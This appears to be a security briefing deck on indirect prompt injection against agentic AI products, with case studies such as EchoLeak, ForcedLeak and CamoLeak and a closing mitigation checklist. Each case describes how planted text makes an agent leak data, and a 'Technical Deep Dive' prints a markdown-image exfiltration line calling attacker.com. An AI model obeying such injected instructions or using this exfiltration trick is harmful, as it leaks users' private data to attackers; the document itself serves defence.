The Silent Takeover: Critical Vulnerabilities in the Age of Agentic AI

Analysis of Recent Exploits in ServiceNow, Salesforce, Microsoft Copilot, Google Gemini, and More

Based on research from AppOmni, Legit Security, Varonis, Noma, PromptArmor, and CodeIntegrity.

Executive Summary: The Shift to Agentic AI Creates a New Attack Surface

The Old World: Passive LLMs

Users prompt the model; the model outputs text. The risk was contained to the chat window (e.g., hallucination, direct jailbreaks).

The New Reality: Agentic AI

Systems now have **Agency** (execution), **Tools** (API access), and **Context** (RAG/Memory).

This introduces **Indirect Prompt Injection**: Attackers poison the data (emails, tickets, code), turning the agent against the user.

Zero-Click Exploits: Attacks like `GeminiJack` and `EchoLeak` require no victim interaction.

Ubiquitous Vectors: Attacks enter via emails, calendar invites, web forms, and shared docs.

Bypassed Controls: Traditional MFA and CSPs are failing against AI-driven logic flows.

The Core Mechanism: Indirect Prompt Injection



The Trap

Attacker plants data

System ingests data via RAG

Agent executes hidden commands

Key Distinction

Indirect Injection differs from Direct Jailbreaking.
The user is not the attacker.

The data is the attacker.

Vector 1: Broken Authentication & Impersonation

Case Study: ServiceNow ‘BodySnatcher” (CVE-2025-12420)



- **The Flaw:** A Virtual Agent API flaw combined with “Auto-Linking” allowed attackers to impersonate *_any_* user via just an email address—bypassing MFA/SSO.
- **The Impact:** Unauthenticated attackers invoke internal agents (“AIA-Agent Invoker AutoChat”) to create admin accounts.
- **Key Lesson:** AI Agents effectively become “shadow admins” if they trust unverified input parameters.

Vector 2: Business Process Hijacking

Case Study: Salesforce Agentforce “ForcedLeak”



The Flaw: Attackers injected malicious prompts into the ‘Description’ field. When agents processed processed these leads, they executed the instructions.

The Bypass: Data exfiltrated to an expired domain (`my-salesforce-cms.com`) that was still whitelisted in the Content Security Policy.

Key Lesson: Input fields in automated workflows are potential command lines for AI.

Vector 3: RAG Poisoning (Internal Data Sources)

Case Studies: Google Gemini (‘GeminiJack’) & Microsoft 365 Copilot (‘EchoLeak’)



The Flaw: “Zero-Click” vulnerabilities. Merely placing a malicious file in the target's workspace is enough.

The Mechanism: The AI's Retrieval-Augmented Generation (RAG) system indexes the poison. When a user queries the AI, it fetches the poison, follows its instructions, and exfiltrates data via image rendering.

Key Lesson: If an AI can read your docs, an attacker can control your AI.

Vector 4: Developer & Infrastructure Tools

Case Study: GitHub Copilot ‘CamoLeak’



The Flaw: Attackers used invisible comments in Pull Requests to inject prompts.
The Bypass: GitHub’s CSP blocked external images, but the attacker used GitHub’s *own* image proxy (‘Camo’) to bypass the policy.
Technique: Data exfiltrated via ASCII-art-style pixel requests to avoid text filters.

Vector 5: Cross-Channel Contamination

Case Studies: Slack AI & Notion



The Slack Flaw: Users query Slack AI, which ingests data from a malicious public channel (even if the user isn't in it), serving phishing links.

The Notion Flaw: A malicious PDF tricks the Notion Agent's 'Web Search' tool into constructing a URL containing private data.

Key Lesson: "Public" data within an organization is a vector for poisoning private queries.

Vector Vector 6: The URL Parameter Trap

Case Study: Microsoft Copilot Personal ‘Reprompt’





The Flaw: A 'One-Click' attack using the `q` URL parameter to pre-fill prompts.
The Technique: 'Chain-Request' loops allowing the server to drive the AI to summarize emails and files chunk by chunk. **Impact:** Persistent session hijacking that bypasses initial input filters.

Technical Deep Dive: How Exfiltration Happens

The "Image" Trick

```
![image](https://attacker.com/log?data=
[SENSITIVE_RESULT])
```

The AI renders the image, the browser automatically fetches it, and the sensitive data is sent as a GET parameter.

CSP Bypasses

Trusted domains weaponized:

1. **Expired Domains:** `*.my-salesforce-cms.com` (Salesforce)
2. **Internal Proxies:** `camo.githubusercontent.com` (GitHub)
3. **Wildcards:** `*.amazonaws.com` or `*.slack.com`

⚠ Attackers use invisible formatting (HTML comments, white text) to hide these prompts from humans.

Why Traditional Defenses Failed

Trust Boundaries

Systems treated internal docs as “trusted,” but they contained “untrusted” external input. To an LLM, a prompt in a calendar invite looks the same as a system command.

Excessive Agency

Agents were given tools (Web Search, Canvas creation) without “Human-in-the-Loop” confirmation steps.

Invisible Formatting

Traditional security tools scan for malware signatures, not logic bombs hidden in Markdown or natural language instructions.

Immediate Mitigation Checklist

Disable Markdown Image Rendering

Stop the easiest exfiltration path. If the chat interface cannot render external images, data cannot leave via GET requests.

Review CSPs (Content Security Policies)

Audit for expired domains or overly permissive wildcards (e.g., `*.s3.amazonaws.com`).

Enforce Strict Identity Linking

Ensure 'Account Linking' (e.g., in ServiceNow) requires MFA, not just email parameter matching.

Disable Unused Agents

Audit active agents and de-provision those not in use to reduce blast radius.

Strategic Defense: The AI Security Control Tower



Centralized governance is required to move from 'Chat' to 'Infrastructure' security.

The Future: Agentic AI as Critical Infrastructure

The Arms Race:
As agents get smarter, attacks will evolve into multi-step reasoning attacks.

The Data-Centric Imperative:
You cannot secure the AI if you don't secure the ***data***. Least Privilege is mandatory.

Conclusion:
We must treat AI Agents not as chat interfaces, but as privileged users.

The Golden Rule of AI Security

Never trust input, even if it comes from your own own documents.

In an Agentic world, data is code.

Recap: Indirect Prompt Injection is the new SQL Injection. Visibility and Runtime Protection are no longer optional.

Research Credits: AppOmni, Legit Security, Varonis, Noma, PromptArm